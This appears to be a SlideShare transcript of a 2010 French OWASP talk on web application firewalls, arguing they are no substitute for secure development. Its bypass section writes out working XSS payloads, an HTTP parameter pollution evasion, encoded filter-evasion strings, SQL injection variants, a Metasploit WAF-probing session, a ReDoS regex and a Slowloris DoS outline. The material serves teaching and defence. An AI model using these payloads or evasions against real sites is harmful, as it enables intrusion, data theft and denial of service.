SlideShare une entreprise Scribd logo
1  sur  46
Web Application Firewalls
                         (WAF)

                  CONFOO – Montréal
                   Québec - Canada
                    10 Mars 2010

Sébastien Gioria (French Chapter Leader & OWASP Global
Education Committee Member)
sebastien.gioria@owasp.org
                    Copyright © 2009 - The OWASP Foundation
                    Permission is granted to copy, distribute and/or modify this document
                    under the terms of the GNU Free Documentation License.




                    The OWASP 2009 - S.Gioria & OWASP
                            ©
                              Foundation
                    http://www.owasp.org
Qui suis-je ?
              Consultant Sécurité au sein du cabinet d’audit Groupe Y
                 (s.gioria@groupey.fr)
              Président du CLUSIR Poitou-Charentes
              OWASP France Leader       - Evangéliste - OWASP Global Education
                 Comittee Member (sebastien.gioria@owasp.org)

                +12 ans d’expérience en Sécurité des Systèmes d’Information
                Différents postes de manager SSI dans la banque, l’assurance
                 et les télécoms
                Expertise Technique
                     PenTesting, Digital Forensics
                     S-SDLC
                     Gestion du risque, Architectures fonctionnelles, Audits
                     Consulting et Formation en Réseaux et Sécurité

  Domainesde prédilection :
     Web 4.2 : WebServices, Insécurité du Web.

                                                 © 2009 - S.Gioria & OWASP
Agenda

  eb Application Firewalls (WAF)
 W
  hoisir son WAF
 C
  AF Mythes et réalités
 W
  AF mode d’emploi
 W
  ’amuser avec son WAF
 S
  t après ?
 E




                                © 2009 - S.Gioria & OWASP
Faiblesse des Applications Web
%	
  A$aques	
                                        %	
  Dépenses	
  
                                                                      10 %
                 Applica1on	
  Web	
  

    75 %


                                                                      90 %



    25 %           Eléments	
  Réseaux	
  

                             Etude	
  du	
  GARTNER	
  2003	
                Etude	
  du	
  SANS	
  (septembre	
  2009)	
  
         75%	
  des	
  a4aques	
  ciblent	
  le	
  niveau	
  Applica=f	
     h4p://www.sans.org/top-­‐cyber-­‐security-­‐risks/	
  
          66%	
  des	
  	
  applica=ons	
  web	
  sont	
  vulnérables	
  
                                       	
       	
  




                                                                                                © 2009 - S.Gioria & OWASP
                                                                                                            4
Type d’attaques applicatives




Source	
  :	
  Rapport	
  Cenzic	
  –	
  1er	
  semestre	
  2009	
   - S.Gioria
                                                              © 2009              & OWASP
Je suis protégé contre les attaques, j’ai un
                 firewall




                             © 2009 - S.Gioria & OWASP
Mon site Web est sécurisé puisque il est
           protégé par SSL




                           © 2009 - S.Gioria & OWASP
Et arriva le WAF…
 PCI-DSS (https://www.pcisecuritystandards.org/) 6.6 :
    In the context of Requirement 6.6, an “application firewall” is a web application firewall
    (WAF), which is a security policy enforcement point positioned between a web
    application and the client end point. This functionality can be implemented in
    software or hardware, running in an appliance device, or in a typical server running a
    common operating system. It may be a stand-alone device or integrated into other
    network components.


 http://www.owasp.org/index.php/Web_Application_Firewall
       Le WAF est une CONTRE MESURE

    A web application firewall (WAF) is an appliance, server plugin, or filter that applies a
    set of rules to an HTTP conversation. Generally, these rules cover    common
    attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing
    the rules to your application, many attacks can be identified and blocked. The effort
    to perform this customization can be significant and needs
                                           to be
    maintained as the application is modified.
                                                             © 2009 - S.Gioria & OWASP
Agenda

  eb Application Firewalls (WAF)
 W
  hoisir son WAF
 C
  AF Mythes et réalités
 W
  AF mode d’emploi
 W
  ’amuser avec son WAF
 S
  t après ?
 E




                                © 2009 - S.Gioria & OWASP
Mode Parallèle/Sonde




                       © 2009 - S.Gioria & OWASP
Mode Intrusif/Reverse Proxy




                              © 2009 - S.Gioria & OWASP
Intégré au serveur Web (mod_security
d’Apache)




                           © 2009 - S.Gioria & OWASP
Intégré au Code/a l’applicatif




  isponible dans l’OWASP ESAPI Uniquement !
 D
  e base sur des règles configurables à la volée
 S
  roche du code, et peut donc gérer les entrées
 P
 + sorties.                      © 2009 - S.Gioria & OWASP
Choisir son WAF/son camp

                          Négatif                             Positif


              Le WAF reconnait les attaques
                                                Le WAF connait le trafic légitime
  Concept     et les bloque, il autorise tous
                                                et rejette tout le reste.
              les accès.


              • Aucun besoin de                 •  Bloque les attaques inconnues
              personnalisation                  •  N’est pas dépendant d’une
 Avantages
              • Protection standard             base de signature.
              • Simple a déployer               • Détection précise




              • Extrèmement dépendant des
                                                • Configuration complexe
Inconvénients signatures
                                                • Sensible aux faux positifs
              • Pas très précis



                                                     © 2009 - S.Gioria & OWASP
Mode négatif
ncat --ssl www.wafforwimps.org 443
GET /test.aspx?val=<script>alert(Falken);</script> HTTP/1.0

HTTP/1.1 404 Not Found
Date: Thu, 03 Sep 2009 3:47:19 GMT
Server: IIS
Last-Modified: Mon, 28 Jul 2008 14:45:31 GMT
Accept-Ranges: bytes
Content-Type: text/html
Via: 1.1 www.wafforwimps.org
X-Cache: MISS from www.wafforwimps.org
Connection: close

<html>
 <head><title>Error!</title></head>
 <body bgcolor=#FFFFFF>
  <h1>Found an XSS attack !!!!<hr></h1>
  </body>
</head>
</html>




                                                              © 2009 - S.Gioria & OWASP
Mode positif
ncat --ssl www.wafforwimps.org 443         ncat --ssl www.wafforwimps.org 443
GET /test.aspx?val=test HTTP/1.0           GET /test.aspx?val=falkenHTTP/1.0

                                           HTTP/1.1 200 Ok
HTTP/1.1 404 Not Found                     Date: Thu, 03 Sep 2009 4:47:19 GMT
Date: Thu, 03 Sep 2009 3:47:19 GMT         Server: IIS
Server: IIS                                Last-Modified: Mon, 28 Jul 2008 14:45:31 GMT
Last-Modified: Mon, 28 Jul 2008 14:45:31   Accept-Ranges: bytes
GMT                                        Content-Type: text/html
                                           Via: 1.1 www.wafforwimps.org
Accept-Ranges: bytes
                                           X-Cache: MISS from www.wafforwimps.org
Content-Type: text/html                    Connection: close
Via: 1.1 www.wafforwimps.org
X-Cache: MISS from                         <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
www.wafforwimps.org                        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
Connection: close                          <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
                                           <head>
                                            <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<html>                                     <meta name="ROBOTS" content="INDEX, FOLLOW" />
 <head><title>Error!</title></head>        </head>
 <body bgcolor=#FFFFFF>
  <h1>Value not possible!!!!<hr></h1>      <body >
  </body>                                  Hello Professor Falken,
                                           Would you play a game?
</head>
                                           </body>
</html>

                                                                       © 2009 - S.Gioria & OWASP
Bypass des WAFs – le coup de la pollution
des paramètres
ncat --ssl www.wafforwimps.org 443
GET /test.aspx?val=<&val=script&val=>&val=alert&val=(&val=Fal&val=K&val=en&val=) &val=; &val=<&val=/
&val=script&val=> HTTP/1.0

HTTP/1.1 200 Ok
Date: Thu, 03 Sep 2009 4:47:19 GMT
Server: IIS
Last-Modified: Mon, 28 Jul 2008 14:45:31 GMT
Accept-Ranges: bytes
Content-Type: text/html
Via: 1.1 www.wafforwimps.org
X-Cache: MISS from www.wafforwimps.org
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>
 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="ROBOTS" content="INDEX, FOLLOW" />
</head>

<body >
Hello Professor <script>alert(XSS);</script>,
Would you play a game?
</body>
                                                                         © 2009 - S.Gioria & OWASP
Agenda

  eb Application Firewalls (WAF)
 W
  hoisir son WAF
 C
  AF Mythes et réalités
 W
  AF mode d’emploi
 W
  ’amuser avec son WAF
 S
  t après ?
 E




                                © 2009 - S.Gioria & OWASP
Réalités du WAF

  atcher virtuellement les problèmes
 P
    lus ou moins efficace suivant la méthode employée
   P
   (positive, négative)


  acher tout ou partie de l’infrastructure
 C
    n mode reverse proxy
   E


  nalyseur de trafic HTTP/HTTPS/XML puissant
 A
    race à ses fonctions de normalisation et son
   G
   reporting

                                     © 2009 - S.Gioria & OWASP
Mythes du WAF
 C’est un nouvel élément d’infrastructure
    Couts supplémentaires, à intégrer en PCA, …
    Compétence supplémentaire…


 Source de problèmes récurrents :
    Modèle positif : à chaque modification de l’applicatif
    Modèle négatif : dépendant des mises a jours.
    Complexifie le debug


 Ce n’est pas la solution!
    Il « laisse » passer des failles (Session Hijacking, élévation de
     privilèges, HTTP response splitting, …)
    Il n’est pas (encore) obligatoire en PCI-DSS !
                                                © 2009 - S.Gioria & OWASP
Agenda

  eb Application Firewalls (WAF)
 W
  hoisir son WAF
 C
  AF Mythes et réalités
 W
  AF mode d’emploi
 W
  ’amuser avec son WAF
 S
  t après ?
 E




                                © 2009 - S.Gioria & OWASP
WAF – En ai-je besoin ?
                                                                                      Boite Noire
                     Elevé




                                                                        Majoritairement
Bénéfice d’un WAF




                                       Majoritairement
                                                                         développé en
                                    développé en interne,
                                                                        externe, peu de
                                      disponibilité des
                                                                      sources disponibles
                                          sources
                    Moyen




                                 Accès total aux
                                 sources, et aux
                                 développeurs
                    Faible

                         Total                           Partiel                                    Aucun
                                             Accès aux sources de l’application
                                                                                  © 2009 - S.Gioria & OWASP
Web Application Firewall Evaluation Criteria
(WAFEC)
 Projet du Web Application Security Consortium
    http://www.webappsec.org/projects/wafec/
 Liste les fonctionnalités possibles d’un WAF et non les fonctions
  minimum nécessaires d’un WAF
 Permet d’évaluer techniquement le meilleur WAF pour son
  environnement en fonction de 9 critères :
   1.  Type d’architecture à déployer (pont, reverse-proxy, intégré, SSL, …)
   2.  Support d’HTTP et d’HTML (Versions, encodages,…)
   3.  Techniques de détection (signatures, techniques de normalisation du trafic, …)
   4.  Techniques de protection (brute force, cookies, sessions, …)
   5.  Journalisation (intégration NSM, type de logs, gestion des données sensibles, …)
   6.  Rapports (types de rapports, distribution, format, …)
   7.  Administration (politiques, logs, …)
   8.  Performance (nb de connexions/s, latences, …)
   9.  Support XML (WS-i intégration, validation XML/RPC, …)
                                                          © 2009 - S.Gioria & OWASP
WAF – Mise en place

 Choisir le type (centralisé, décentralisé, performances,
  …) => Projet WAFEC
 Mettre en place l’organisation
    Désigner (au minimum) un « WAF operation manager » en lien
     avec les équipes infrastructures et développement.
        Rôle technico-MOA
 Mettre en place la protection minimale
    XSS, Blind-SQLi, …
 Définir les priorités des applications à protéger
 Itérer
      1.  Traçage des requêtes
      2.  Mise en place de la protection
      3.  Contrôle de l’effectivité de la protection.
                                                        © 2009 - S.Gioria & OWASP
WAF – OWASP Top10 – Mise en Place
Top10          WAF Commentaire                       Charge de mise en place
                                                   Sur un WAF           Code/
                                                                     Configuration
A1 (XSS)       Ne voit pas les XSS persistants    Moyenne          Moyenne à Forte
               (pas de filtres en sortie)
               Bloque la majorité des attaques en
               fonction du moteur de
               canonisation
A2             Bon sur les protocoles connus     Moyenne           Moyenne à Forte
(Injections)   (SQL) grace au blacklistage de
               caractères.
A3 (RFI)       Peut se coupler avec un A/V via   Faible a          Moyenne a Forte
               ICAP, permet de whitelister les   Moyenne
               paramètres autorisés
A4             Masquerade possible des ID        Très Faible       Faible a Moyenne
(Insecure      internes.
Objects)
A5 (CSRF)      Peut ajouter des ID à la volée    Faible 2009 - S.Gioria & OWASP
                                                      ©             Moyenne
WAF – OWASP Top10 – Mise en Place
Top10            WAF Commentaire                      Charge de mise en place
                                                  Sur un WAF               Code/
                                                                        Configuration
A6 (Info Leak/   Bloque facilement les accès Faible à Forte          Faible
Error)           aux URL non autorisées,
                 mais détecte difficilement
                 les erreurs coté serveur
A7 (Auth &       Dépend du WAF et du         Moyenne à Forte         Faible a Forte
Session)         Serveur Applicatif
A8 (Crypto)      Non Applicable              Non Applicable          Faible
A9 (SSL/VPN)     Totalement adapté           Faible                  Faible
A10 (Restrict    Blacklistage                Faible                  Failbe
URL)




                                                        © 2009 - S.Gioria & OWASP
Agenda

  eb Application Firewalls (WAF)
 W
  hoisir son WAF
 C
  AF Mythes et réalités
 W
  AF mode d’emploi
 W
  ’amuser avec son WAF
 S
  t après ?
 E




                                © 2009 - S.Gioria & OWASP
Détection des WAFs

 Certains WAFs laissent beaucoup d’informations sur leur présence :
    Cookies :
         barra_counter_session, NCI__SessionId, WODSESSION
    Headers
         Server=profense
         Server=BinarySec
    Réponses a des attaques (trigger de blacklist) dans les headers
         HTTP/1.1 200 Condition Intercepted
         HTTP/1.1 200 Forbidden
         HTTP/1.1. 407 Proxy Authentication Required
 Ou les pages par défaut !!!
    <h1>System error!<hr></h1>
    <title>Action not authorized!</title>
    ……

                                                        © 2009 - S.Gioria & OWASP
Détection des WAFs
 Wafw00f présenté à
  l’AppSec EU 2009.
   Script python se
    basant sur une base de
    détection interne.


  affun présenté à
 W
 l’AppSec EU 2009
    cript python de
   S
   fuzzing pour
   construire une liste
   de bypass du WAF.

                             © 2009 - S.Gioria & OWASP
Détection des WAFs
./msfconsole
[-] ***
[-] ***

#    #   ###### #####   ##    ####    #####    #         ####    # #####
## ##    #        #    # # #          #    #   #        #    #   #   #
# ## #   #####    #   #    # ####     #    #   #        #    #   #   #
#    #   #        #   ######      #   #####    #        #    #   #   #
#    #   #        #   #    # #    #   #        #        #    #   #   #
#    #   ######   #   #    # ####     #        ######    ####    #   #


       =[   msf v3.3-dev
+ -- --=[   396 exploits - 239 payloads
+ -- --=[   20 encoders - 7 nops
       =[   267 aux

msf > use auxiliary/scanner/http/wimps
msf auxiliary(wimps) > set XSSVECTOR /Users/eagle/.msf3/modules/auxiliary/scanner/http/xssvector.txt
XSSVECTOR => /Users/eagle/.msf3/modules/auxiliary/scanner/http/xssvector.txt
msf auxiliary(wimps) > set RPORT 443
RPORT => 443
msf auxiliary(wimps) > set SSL true
SSL => true
msf auxiliary(wimps) > set RHOST www.wafforwimps.org
RHOST => www.wafforwimps.org
msf auxiliary(wimps) > run
[*] Loading Database
[*] Testing
./<script>alert(XSS)</script>
Found some WAF signature
./<body onload=‘’http://www.wafforwinps.org/hack.js’’ >
Found some WAF signature
……….
                                                                           © 2009 - S.Gioria & OWASP
Bypass des WAFs

  n WAFs sera toujours bypassé s’il n’implémente
 U
 pas le modèle positif.
  oute tentative de :
 T
    lacklist
   B
    ègle de type regular-expression
   R
    éseau neuronal
   R


                Sera inefficace!


                                       © 2009 - S.Gioria & OWASP
Bypass des WAFs
                    Le coup de l’encodage et de l’espace
                        <script>alert(XSS);</script>
  Encodage URL                                   Un petit espace
    %3c%73%63%72%69%70%74%3e                        <script>alert(XSS);</scri
      %61%6c                                          pt>
      %65%72%74%28%58%53%53%29%
                                                  Un petit CR
      3b%3c%2f
      %73%63%72%69%70%74%3e%0a                      <
  Encodage HTML                                    s
    &#x3c;&#x73;&#x63;&#x72;&#x69;&#x7              c
      0;&#x74;&#x3e;&#x61;&#x6c;&#x65;            Un mix des deux ?
      &#x72;&#x74;&#x28;&#x58;&#x53;&
                                                        %3c
      #x53;&#x29;&#x3b;&#x3c;&#x2f;&#x
                                                          %20%73%20%63%20%72%20%69%
      73;&#x63;&#x72;&#x69;&#x70;&#x74
                                                          20%70%20%74%20%3e%20%0a
      ;&#x3e;&#x0a;
                                                          %61%20%6c
  Encode UTF-8                                           %20%65%20%72%20%74%20%28%
%u003c                                                    20%58%20%53%20%53%20%29%2
   %uff53%uff43%uff52%uff49%uff50%uff54%u003              0%3b%20%3c%20%2f
   e%uff41%uff4c                                          %20%73%20%63%20%0a
   %uff45%uff52%uff54%uff08%uff38%uff33%uff33             %72%20%69%20%70%20%74%20%
   %uff09%u003c                                           3e%0a
   %u2215%uff53%uff43%uff52%uff49%uff50%uff5
                                                             © 2009 - S.Gioria & OWASP
   4%u003
Bypass des WAFs
             Et l’on ne parle pas du reste (SQL-i, HPP, …)
                     Prenons la chaine a 130 millions
                                OR 1==1


ID=1%20OR%201==1



ID=1%20OR%200x01==0x01                                     Tout ceci est
                                                           valide et
                                                           équivalent
ID=1%20OR%2042==42



ID=1&ID=%20OR%20&ID=1&ID=%3&ID=d&ID=%3&ID=d&1


                                                 © 2009 - S.Gioria & OWASP
Bypass des WAFs – le coup de la pollution
des paramètres
ncat --ssl www.wafforwimps.org 443
GET /test.aspx?val=<script>alert(Falken);</script> HTTP/1.0

HTTP/1.1 407 Proxy Authentication Required
Date: Thu, 03 Sep 2009 3:47:19 GMT
Server: IIS
Last-Modified: Mon, 28 Jul 2008 14:45:31 GMT
Accept-Ranges: bytes
Content-Type: text/html
Via: 1.1 www.wafforwimps.org
X-Cache: MISS from www.wafforwimps.org
Connection: close

<html>
 <head><title>System error!</title></head>
 <body bgcolor=#FFFFFF>
  <h1>System error!<hr></h1>
  <p>
   Error #<b>3</b>...




                                                              © 2009 - S.Gioria & OWASP
Bypass des WAFs – le coup de la pollution
des paramètres
ncat --ssl www.wafforwimps.org 443
GET /test.aspx?val=<&val=script&val=>&val=alert&val=(&val=Fal&val=K&val=en&val=) &val=; &val=<&val=/
&val=script&val=> HTTP/1.0

HTTP/1.1 200 Ok
Date: Thu, 03 Sep 2009 4:47:19 GMT
Server: IIS
Last-Modified: Mon, 28 Jul 2008 14:45:31 GMT
Accept-Ranges: bytes
Content-Type: text/html
Via: 1.1 www.wafforwimps.org
X-Cache: MISS from www.wafforwimps.org
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>
 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="ROBOTS" content="INDEX, FOLLOW" />
</head>

<body >
Hello Professor <script>alert(XSS);</script>,
Would you play a game?
</body>
                                                                         © 2009 - S.Gioria & OWASP
Dos Attacks

  lowLoris & problèmes TCP
 S
                SYN

                 ACK


               POST /form HTTP/1.0
 Browser                                Server / Proxy

                         Id=

                          a

                          b
                                     © 2009 - S.Gioria & OWASP
Les Dos Attacks - RegExp

  eux type d’attaques :
 D
     ’utilisation de regexp de type : (a+)+
    L
     ’utilisation de regexp construites à la volée :
    L
    permettant donc d’injecter
  oit la regexp de validation :
 S
^([a-zA-Z0-9])(([-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+
   [.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$


 Envoi de la chaine : aaaaaaaaaaaaaaaaaaaaaaaa!




                                           © 2009 - S.Gioria & OWASP
Exemple vécu de l’(in)utilité recyclage
       déploiement d’un WAF

  Société de type VPC sur un marché de
               niche en B2B.



                            © 2009 - S.Gioria & OWASP
1ere étape : le choix

  options (via PCI-DSS 6.6, car il est bien connu
 2
 que toute société qui vend sur internet se doit
 d’être conforme….) :
  1.  Déployer un WAF + Scan automatisés
  2.  Mettre en place un code review sécurité + SDLC


 Solution choisie : déployer un WAF(redondé) +
  Scans en mode ASP récurrent (1 par mois au
  minimum)
     => Magic quadrant + idée des conseils en régie +
     promo de Noël…
                                     © 2009 - S.Gioria & OWASP
2ème étape : la vie du produit

  ésultats des scans réguliers :
 R
    out est vert (forcément il y a un WAF qui voit arriver
   T
   avec ses gros sabots le robot….)
  onfiguration du WAF :
 C
    onfiguration faite par l’ingénieur en charge des
   C
   Firewalls (normal, c’est un Web Application
   FIREWALL !)
    emontée des logs dans un fichier (non analysés, car
   R
   trop d’alertes)
    ègles parfois permissibles car des outils (type CMS
   R
   plus ou moins propriétaires génèrent des requêtes
   bloquées)
                                       © 2009 - S.Gioria & OWASP
L’attaque

1.  Un lutin malveillant lance une DOS (type
    slowloris) à destination du WAF en mode fail-
    open.
2.  Pendant ce temps,
   e lutin malveillant découvre une injection SQL
   l
   basique (très très basique => type ‘OR 1==1).
   es bases sont téléchargées par le lutin malveillant.
   l
3.  Le lutin revend tout ou partie de la base au
    meilleur offreur.
4.  Le lutin peut continuer à boire ses Guinness.
                                      © 2009 - S.Gioria & OWASP
La détection

  l n’a été vue que la DOS !!!
 I

⇒  ans les bases, des adresses e-mails
 D
 spéciales permettent de découvrir une
 compromission post attaque.

  ’investigation dans les logs HTTP a permis de
 L
 découvrir l’injection SQL.


                                  © 2009 - S.Gioria & OWASP
Le bénéfice

  100% de bénéfice(financier) pour le vendeur
 +
 du PC de la webcam de la machine a café WAF
  100% de bénéfice(financier) pour le vendeur
 +
 du scanner tout va bien quand je remets le
 rapport au DSI ASP
     -424,2%(au minimum) pour l’entreprise :
       – Perte d’image de marque
       – Perte de l’agrément PCI-DSS (amendes ?)
       – Pentests manuels en urgence
       – Formation des développeurs en urgence
       – Revue de code en urgence

                                    © 2009 - S.Gioria & OWASP
Agenda

  eb Application Firewalls (WAF)
 W
  hoisir son WAF
 C
  AF Mythes et réalités
 W
  AF mode d’emploi
 W
  ’amuser avec son WAF
 S
  t après ?
 E




                                © 2009 - S.Gioria & OWASP
Pas de recette Miracle

  ettre en place un cycle de développement
 M
 sécurisé !
  Auditer et Tester son code !
  Vérifier le fonctionnement de son Application !


        La sécurité est d’abord et avant tout
        affaire de bon sens.



                                 © 2009 - S.Gioria & OWASP
Rejoignez nous !

  http://www.owasp.fr




                        © 2009 - S.Gioria & OWASP
                                                    4
                                                    6

Contenu connexe

Tendances

Durcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative WebDurcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative WebCyrille Grandval
 
Les menaces applicatives
Les menaces applicativesLes menaces applicatives
Les menaces applicativesBee_Ware
 
Support formation vidéo : Préparez votre certification Sophos UTM v9.5 Engine...
Support formation vidéo : Préparez votre certification Sophos UTM v9.5 Engine...Support formation vidéo : Préparez votre certification Sophos UTM v9.5 Engine...
Support formation vidéo : Préparez votre certification Sophos UTM v9.5 Engine...SmartnSkilled
 
Les principales failles de sécurité des applications Web actuelles
Les principales failles de sécurité des applications Web actuellesLes principales failles de sécurité des applications Web actuelles
Les principales failles de sécurité des applications Web actuellesXavier Kress
 
Alphorm.com Formation Hacking et Sécurité, l'essentiel
Alphorm.com Formation Hacking et Sécurité, l'essentielAlphorm.com Formation Hacking et Sécurité, l'essentiel
Alphorm.com Formation Hacking et Sécurité, l'essentielAlphorm
 
Sécurité des Applications WEB -LEVEL1
 Sécurité des Applications WEB-LEVEL1 Sécurité des Applications WEB-LEVEL1
Sécurité des Applications WEB -LEVEL1Tarek MOHAMED
 
Alphorm.com Formation SOPHOS XG FIREWALL : Niveau Expert
Alphorm.com Formation SOPHOS XG FIREWALL : Niveau ExpertAlphorm.com Formation SOPHOS XG FIREWALL : Niveau Expert
Alphorm.com Formation SOPHOS XG FIREWALL : Niveau ExpertAlphorm
 
Wavestone benchmark securite site web 2016 2017
Wavestone benchmark securite site web 2016 2017Wavestone benchmark securite site web 2016 2017
Wavestone benchmark securite site web 2016 2017Gaudefroy Ariane
 
Wavestone - IAM of Things / Identité des objets connectés
Wavestone - IAM of Things / Identité des objets connectésWavestone - IAM of Things / Identité des objets connectés
Wavestone - IAM of Things / Identité des objets connectésKévin Guérin
 
Alphorm.com Formation Security+ 1/2
Alphorm.com Formation Security+ 1/2Alphorm.com Formation Security+ 1/2
Alphorm.com Formation Security+ 1/2Alphorm
 
Alphorm.com Formation Stormshield version 3 - Comprendre les mises à jour
Alphorm.com Formation Stormshield version 3 - Comprendre les mises à jourAlphorm.com Formation Stormshield version 3 - Comprendre les mises à jour
Alphorm.com Formation Stormshield version 3 - Comprendre les mises à jourAlphorm
 
Alphorm.com Formation CEHV9 II
Alphorm.com Formation CEHV9 IIAlphorm.com Formation CEHV9 II
Alphorm.com Formation CEHV9 IIAlphorm
 
Alphorm.com support de la formation Stormshield, Expert
Alphorm.com support de la formation Stormshield, ExpertAlphorm.com support de la formation Stormshield, Expert
Alphorm.com support de la formation Stormshield, ExpertAlphorm
 
Alphorm.com Support de la Formation Stormshield Administration
Alphorm.com Support de la Formation Stormshield AdministrationAlphorm.com Support de la Formation Stormshield Administration
Alphorm.com Support de la Formation Stormshield AdministrationAlphorm
 
Alphorm.com Formation Palo Alto : Installation et configuration de base
Alphorm.com Formation Palo Alto : Installation et configuration de baseAlphorm.com Formation Palo Alto : Installation et configuration de base
Alphorm.com Formation Palo Alto : Installation et configuration de baseAlphorm
 
Sécurité des applications Web
Sécurité des applications WebSécurité des applications Web
Sécurité des applications WebKlee Group
 
Alphorm.com Formation Hacking et Sécurité 2020 (3of4) : Attaques Réseaux, Sys...
Alphorm.com Formation Hacking et Sécurité 2020 (3of4) : Attaques Réseaux, Sys...Alphorm.com Formation Hacking et Sécurité 2020 (3of4) : Attaques Réseaux, Sys...
Alphorm.com Formation Hacking et Sécurité 2020 (3of4) : Attaques Réseaux, Sys...Alphorm
 
2012 11-07-owasp mobile top10 v01
2012 11-07-owasp mobile top10 v012012 11-07-owasp mobile top10 v01
2012 11-07-owasp mobile top10 v01Sébastien GIORIA
 

Tendances (20)

Durcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative WebDurcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative Web
 
Les menaces applicatives
Les menaces applicativesLes menaces applicatives
Les menaces applicatives
 
Support formation vidéo : Préparez votre certification Sophos UTM v9.5 Engine...
Support formation vidéo : Préparez votre certification Sophos UTM v9.5 Engine...Support formation vidéo : Préparez votre certification Sophos UTM v9.5 Engine...
Support formation vidéo : Préparez votre certification Sophos UTM v9.5 Engine...
 
Les principales failles de sécurité des applications Web actuelles
Les principales failles de sécurité des applications Web actuellesLes principales failles de sécurité des applications Web actuelles
Les principales failles de sécurité des applications Web actuelles
 
Alphorm.com Formation Hacking et Sécurité, l'essentiel
Alphorm.com Formation Hacking et Sécurité, l'essentielAlphorm.com Formation Hacking et Sécurité, l'essentiel
Alphorm.com Formation Hacking et Sécurité, l'essentiel
 
Sécurité des Applications WEB -LEVEL1
 Sécurité des Applications WEB-LEVEL1 Sécurité des Applications WEB-LEVEL1
Sécurité des Applications WEB -LEVEL1
 
Alphorm.com Formation SOPHOS XG FIREWALL : Niveau Expert
Alphorm.com Formation SOPHOS XG FIREWALL : Niveau ExpertAlphorm.com Formation SOPHOS XG FIREWALL : Niveau Expert
Alphorm.com Formation SOPHOS XG FIREWALL : Niveau Expert
 
Wavestone benchmark securite site web 2016 2017
Wavestone benchmark securite site web 2016 2017Wavestone benchmark securite site web 2016 2017
Wavestone benchmark securite site web 2016 2017
 
Wavestone - IAM of Things / Identité des objets connectés
Wavestone - IAM of Things / Identité des objets connectésWavestone - IAM of Things / Identité des objets connectés
Wavestone - IAM of Things / Identité des objets connectés
 
Alphorm.com Formation Security+ 1/2
Alphorm.com Formation Security+ 1/2Alphorm.com Formation Security+ 1/2
Alphorm.com Formation Security+ 1/2
 
Alphorm.com Formation Stormshield version 3 - Comprendre les mises à jour
Alphorm.com Formation Stormshield version 3 - Comprendre les mises à jourAlphorm.com Formation Stormshield version 3 - Comprendre les mises à jour
Alphorm.com Formation Stormshield version 3 - Comprendre les mises à jour
 
Alphorm.com Formation CEHV9 II
Alphorm.com Formation CEHV9 IIAlphorm.com Formation CEHV9 II
Alphorm.com Formation CEHV9 II
 
Alphorm.com support de la formation Stormshield, Expert
Alphorm.com support de la formation Stormshield, ExpertAlphorm.com support de la formation Stormshield, Expert
Alphorm.com support de la formation Stormshield, Expert
 
Alphorm.com Support de la Formation Stormshield Administration
Alphorm.com Support de la Formation Stormshield AdministrationAlphorm.com Support de la Formation Stormshield Administration
Alphorm.com Support de la Formation Stormshield Administration
 
Alphorm.com Formation Palo Alto : Installation et configuration de base
Alphorm.com Formation Palo Alto : Installation et configuration de baseAlphorm.com Formation Palo Alto : Installation et configuration de base
Alphorm.com Formation Palo Alto : Installation et configuration de base
 
Sécurité des applications Web
Sécurité des applications WebSécurité des applications Web
Sécurité des applications Web
 
Alphorm.com Formation Hacking et Sécurité 2020 (3of4) : Attaques Réseaux, Sys...
Alphorm.com Formation Hacking et Sécurité 2020 (3of4) : Attaques Réseaux, Sys...Alphorm.com Formation Hacking et Sécurité 2020 (3of4) : Attaques Réseaux, Sys...
Alphorm.com Formation Hacking et Sécurité 2020 (3of4) : Attaques Réseaux, Sys...
 
Failles de sécurité
Failles de sécuritéFailles de sécurité
Failles de sécurité
 
A8 amelioration bande-passante_et_securite_reseau
A8 amelioration bande-passante_et_securite_reseauA8 amelioration bande-passante_et_securite_reseau
A8 amelioration bande-passante_et_securite_reseau
 
2012 11-07-owasp mobile top10 v01
2012 11-07-owasp mobile top10 v012012 11-07-owasp mobile top10 v01
2012 11-07-owasp mobile top10 v01
 

Similaire à 2010 03-10-web applications firewalls v 0.8

Sécurité des Développements Webs et Mobiles
Sécurité des Développements Webs et MobilesSécurité des Développements Webs et Mobiles
Sécurité des Développements Webs et MobilesPhonesec
 
Introduction à la sécurité des WebServices
Introduction à la sécurité des WebServicesIntroduction à la sécurité des WebServices
Introduction à la sécurité des WebServicesConFoo
 
Webcast Oracle - Gestion des risques liés à l'obsolescence et la sécurité de ...
Webcast Oracle - Gestion des risques liés à l'obsolescence et la sécurité de ...Webcast Oracle - Gestion des risques liés à l'obsolescence et la sécurité de ...
Webcast Oracle - Gestion des risques liés à l'obsolescence et la sécurité de ...Jean-Marc Hui Bon Hoa
 
Alphorm.com Formation SOPHOS XG FIREWALL, Administration
Alphorm.com Formation SOPHOS XG FIREWALL, AdministrationAlphorm.com Formation SOPHOS XG FIREWALL, Administration
Alphorm.com Formation SOPHOS XG FIREWALL, AdministrationAlphorm
 
La Maîtrise de Java au sein du SI
La Maîtrise de Java au sein du SILa Maîtrise de Java au sein du SI
La Maîtrise de Java au sein du SIcpruvost
 
Le bon, la brute et le truand dans les nuages
Le bon, la brute et le truand dans les nuagesLe bon, la brute et le truand dans les nuages
Le bon, la brute et le truand dans les nuagesConFoo
 
Checkpoint : sécurité des frameworks web
